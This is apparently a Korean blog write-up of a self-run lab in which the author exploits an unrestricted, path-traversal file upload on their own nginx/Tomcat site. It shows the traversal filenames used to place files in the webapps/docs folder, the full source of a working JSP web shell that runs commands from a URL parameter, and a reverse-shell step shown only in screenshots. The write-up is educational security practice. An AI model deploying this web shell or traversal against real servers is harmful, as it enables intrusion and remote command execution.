4 분 소요

취약점 사이트

  • 내가 만든 웹 사이트를 이용하였다.
    Pasted image 20230606142017

서버 탐색 및 취약점 탐색

서버 버전 확인

  • 우분투에서 동작하고 nginx 웹 서버라는 것을 알 수 있다.
    Pasted image 20230606115619

  • 일부러 URL 주소를 이상하게 입력하여 404 페이지에 접속하면 WAS로 apache tomcat을 사용하는 것을 확인할 수 있다. 서버에서 사용중인 tomcat 버전( 10.1.9 )도 확인이 가능하다.
    Pasted image 20230606161309
  • 즉 웹 서버는 nginx + tomcat 로 구성되었다는 것을 알 수 있다.

File Upload ( 확장자 )

  • 어느 확장자이든 모두 업로드가 가능하다.
    Pasted image 20230606192747
    Pasted image 20230606192657
    Pasted image 20230606181012

  • 즉 이 웹서버는 확장자를 필터링 하지않는다.

File Upload 취약점 (traversal)

  • 게시글을 올릴 때 파일 업로드도 같이 할 수 있다. 여기서 공격자가 파일의 이름을 바꾸어 파일 위치를 공격자가 마음데로 설정할 수 있는 traversal 우회방법을 발견하였다.
  • 정상적으로 파일이름이 설정되었을 경우. 게시글에 첨부파일이 잘 올라간 것을 확인할 수 있다.
    Pasted image 20230606153031
    Pasted image 20230606153110
    Pasted image 20230606160012
  • 현재 디렉토리를 뜻하는 ./ 를 파일 이름에 붙여 업로드 하는경우. 앞의 상황과 마찬가지로 첨부파일이 잘 올라갔고 다운로드도 잘되는 것을 확인할 수 있다.
    Pasted image 20230606155610
    Pasted image 20230606155621
    Pasted image 20230606160009
  • 이렇게 업로드 경로를 공격자 마음대로 바꿀 수 있다.

파일 업로드 위치 파악하기 ( 예측하기 )

  • 다운로드 링크를 통해서는 어디에 저장되었는지 정확히 파악하기 힘들다.
    http://221.27.0.6/main_page/notice_board/notice_file_download?downlink=test.png&pageid=129
  • 웹 서버와 파일 업로드 서버 위치가 물리적으로 분리되어 있다면 공격자는 웹쉘 코드에 접근할 수 없다. 즉 공격을 성공할 수가 없다. 따라서 여기서는 웹 서버와 파일 업로드 서버 위치가 동일한 것으로 가정하였다.

  • tomcat 파일 구조 파악하기. 폴더만 표시하였다.
apache-tomcat-10.1.9/
├── bin
├── conf
├── lib
├── logs
├── temp
├── webapps
└── work
  • webapps 폴더에 공격자가 만든 jsp 파일을 올려주어야 공격자가 jsp 파일에 접근이 가능하다.

파일 업로드 폴더 구조 예측

1. 업로드 폴더+게시글 구분 > 파일 저장

2. 업로드 폴더 > 게시글 구분 > 파일 저장

파일 업로드 폴더 위치 후보 1

  • webapps > ROOT > WEB-INF > 업로드 폴더
  • WEB-INF 폴더에 있는 파일들은 링크를 통해 외부에서 접근이 불가능 하다.
webapps
└── ROOT
    └── WEB-INF
        └── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
  • 다음과 같이 파일 이름을 주면 사용자는 링크를 통해 파일에 접근이 가능하다.
webapps
└── ROOT
    └── WEB-INF
        └── 업로드 폴더+게시글 구분
../../../파일이름

http://221.27.0.6/minqtest.png
  • 테스트 업로드 성공
    Pasted image 20230606181001
    Pasted image 20230606181012
  • url 로 접근 테스트 404 페이지 실패
    Pasted image 20230606181136
업로드 폴더 구조 (2) 일 때.
  • 다음과 같이 파일 이름을 주면 사용자는 링크를 통해 파일에 접근이 가능하다.
webapps
└── ROOT
    └── WEB-INF
        └── 업로드 폴더
            └── 게시글 구분
../../../../파일이름

http://221.27.0.6/minqtest.png
  • 업로드 성공
    Pasted image 20230606181643
    Pasted image 20230606181012

  • url 접근 실패
    Pasted image 20230606181136

파일 업로드 폴더 위치 후보 2

  • apache-tomcat-10.1.9 와 같은 위치.
  • 사용자는 링크를 통해 파일에 바로 접근이 불가능 하다.
  • 이 방법을 성공할려면 먼저 톰캣 폴더명을 알아야한다. 웹 서버에서 톰캣 폴더명을 바꿨으면 불가능한 방법이다.
.
├── apache-tomcat-10.1.9
└── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
  • 파일 이름
.
├── apache-tomcat-10.1.9
└── 업로드 폴더+게시글 구분
../apache-tomcat-10.1.9/파일이름

http://221.27.0.6/minqtest.png
  • 파일 업로드 실패
    Pasted image 20230606182556
    Pasted image 20230606183701
업로드 폴더 구조 (2) 일 때.
  • 파일 이름
.
├── apache-tomcat-10.1.9
└── 업로드 폴더
    └── 게시글 구분
../../apache-tomcat-10.1.9/파일이름

http://221.27.0.6/minqtest.png
  • 파일 업로드 실패
    Pasted image 20230606183741
    Pasted image 20230606183701

파일 업로드 폴더 위치 후보 3

  • apache-tomcat-10.1.9 > 업로드 폴더
  • apache-tomcat-10.1.9 폴더에 있으면 사용자는 링크를 통해 파일에 바로 접근이 불가능하다.
apache-tomcat-10.1.9/
├── bin
├── conf
├── lib
├── logs
├── temp
├── webapps
├── work
└── 업로드 폴더
업로드 폴더 구조 (1) 일 때.
  • 파일 이름
apache-tomcat-10.1.9/
└── 업로드 폴더 + 게시글 구분

../webapps/파일이름
  • 파일 업로드 실패
    Pasted image 20230606184017
    Pasted image 20230606183701
업로드 폴더 구조 (2) 일 때.
  • 파일 이름
apache-tomcat-10.1.9/
└── 업로드 폴더    
    └── 게시글 구분

../../webapps/파일이름
  • 파일 업로드 성공
    Pasted image 20230606184515
    Pasted image 20230606184506

  • url 접근 실패
    Pasted image 20230606181136

  • url 통해 접근은 실패하였지만 업로드 폴더 위치를 파악할 수 있었다.

apache-tomcat-10.1.9/
├── webapps
└── 업로드 폴더    
    └── 게시글 구분 
		└── 업로드 파일

파일 업로드 위치

  • 예측을 통해 업로드 위치를 알 수 있었다.
apache-tomcat-10.1.9/
├── webapps
└── 업로드 폴더    
    └── 게시글 구분 
		└── 업로드 파일
  • webapps 의 ROOT 폴더에 넣어도 링크를 통해 바로 업로드한 파일로 접근이 안된다.
    Pasted image 20230606191318
    Pasted image 20230606191326
    Pasted image 20230606191344

  • tomcat 을 다운받았을 때 webapps 에 디펄트로 존재하는 폴더를 이용해 보았다.
    Pasted image 20230606191728
    Pasted image 20230606192006
  • ROOT 폴더가 아닌 docs 폴더에 업로드 파일 넣기 성공.
    Pasted image 20230606192124
    Pasted image 20230606191326
  • 링크를 통해 업로드한 파일에 접근을 성공하였다.
    Pasted image 20230606192419
http://221.27.0.6/docs/minqtest.png

최종 파일 이름

  • 업로드 파일 이름
    ../../webapps/docs/파일이름

공격 시작

웹 쉘 업로드 하기 ( 바인드 쉘 )

JSP 웹 쉘

  • 웹 쉘을 올려 공격자가 실행시킬 수 있는지 확인한다.
<%@ page import="java.io.*" %>
<%
try {
	Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
	InputStream in = p.getInputStream();
	int c;
	while((c=in.read())!=-1){
		out.print((char)c);
	}
	in.close();
	try {
		p.waitFor();
	}catch(Exception e){
		out.println(e.getMessage());
	}
}catch(Exception e){
	out.println(e.getMessage());
}
%>
  1. jsp 웹 쉘을 업로드한다.
    Pasted image 20230606195407
    Pasted image 20230606195423

  2. url 을 통해 webshell.jsp 에 접속해본다.
    http://221.27.0.6/docs/webshell.jsp?cmd=pwd
    Pasted image 20230606201228
    cmd=ls+-al
    Pasted image 20230606201827

리버스 쉘 코드 업로드하기.


Pasted image 20230606234740

  1. 공격자 서버는 웹 서버가 접속할 수 있도록 포트를 열어준다.
    Pasted image 20230606231634
  2. 리버스 쉘 코드를 업로드하여 공격자 서버와 연결한다.
    Pasted image 20230606231512
  3. 명령어를 입력하여 잘 연결되었는지 확인한다.
    Pasted image 20230606232200
    Pasted image 20230606232217
    Pasted image 20230606233706
  4. 리버스 쉘은 진짜 리눅스 터미널에서 명령을 입력하듯 사용하면된다.
  5. 명령을 통해 웹 서버를 종료 시켜 보자. 관리자 권한이 없기 때문에 nginx 서버를 종료를 못시킨다. 따라서 일단 톰캣 서버를 종료시켜 보았다.
    Pasted image 20230606233814
    Pasted image 20230606233825
    Pasted image 20230606233858

후기

  • File Upload 기능을 직접 구현하고 직접 File Upload 공격법을 시도해 보았다. 처음에는 취약점이 없을 텐데라고 생각하여 실습을 위해 일부러 취약점을 만들어야 하나 라고 생각하였다. 하지만 File Upload 의 traversal 우회기법을 사용하여 파일 업로드 위치를 공격자가 링크를 통하여 접근할 수 있는 위치로 설정할 수 있었다. 취약점 없다고 먼저 단정짓지말고 먼저 열심히 찾아보고 있는 없는지를 판단해야 겠다는 생각이 들었다.
  • 윈도우에서 리버스 쉘을 작성을 하였을 때 악성 코드로 백신이 인식하여 삭제하는 참사가 있었다. 좀 당황하였지만 윈도우에 코드를 바로 저장하지 않고 메모장에 작성만 해놓았다가 burp suite 로 파일 업로드 할 때 파일 내용을 리버스 쉘 코드로 바꿔 주었다.
  • 리버스 쉘이라는 이름을 듣고 처음에는 서버가 공격자 서버로 명령을 내리는 건가 라고 생각하였다. 하지만 리버스 쉘 코드를 보고 소켓을 통해 공격자 서버와 연결한 것이라는 것을 알 수 있었다.
  • 웹 쉘 코드를 웹 서버에 업로드하여 명령을 실행할 때도 엄청 신기하였는데 리버스 쉘 코드를 서버로 업로드하여 실제 서버와 ssh 연결한 것 처럼 명령을 주고 받으니 엄청 신기하였다.

참고 사이트

댓글남기기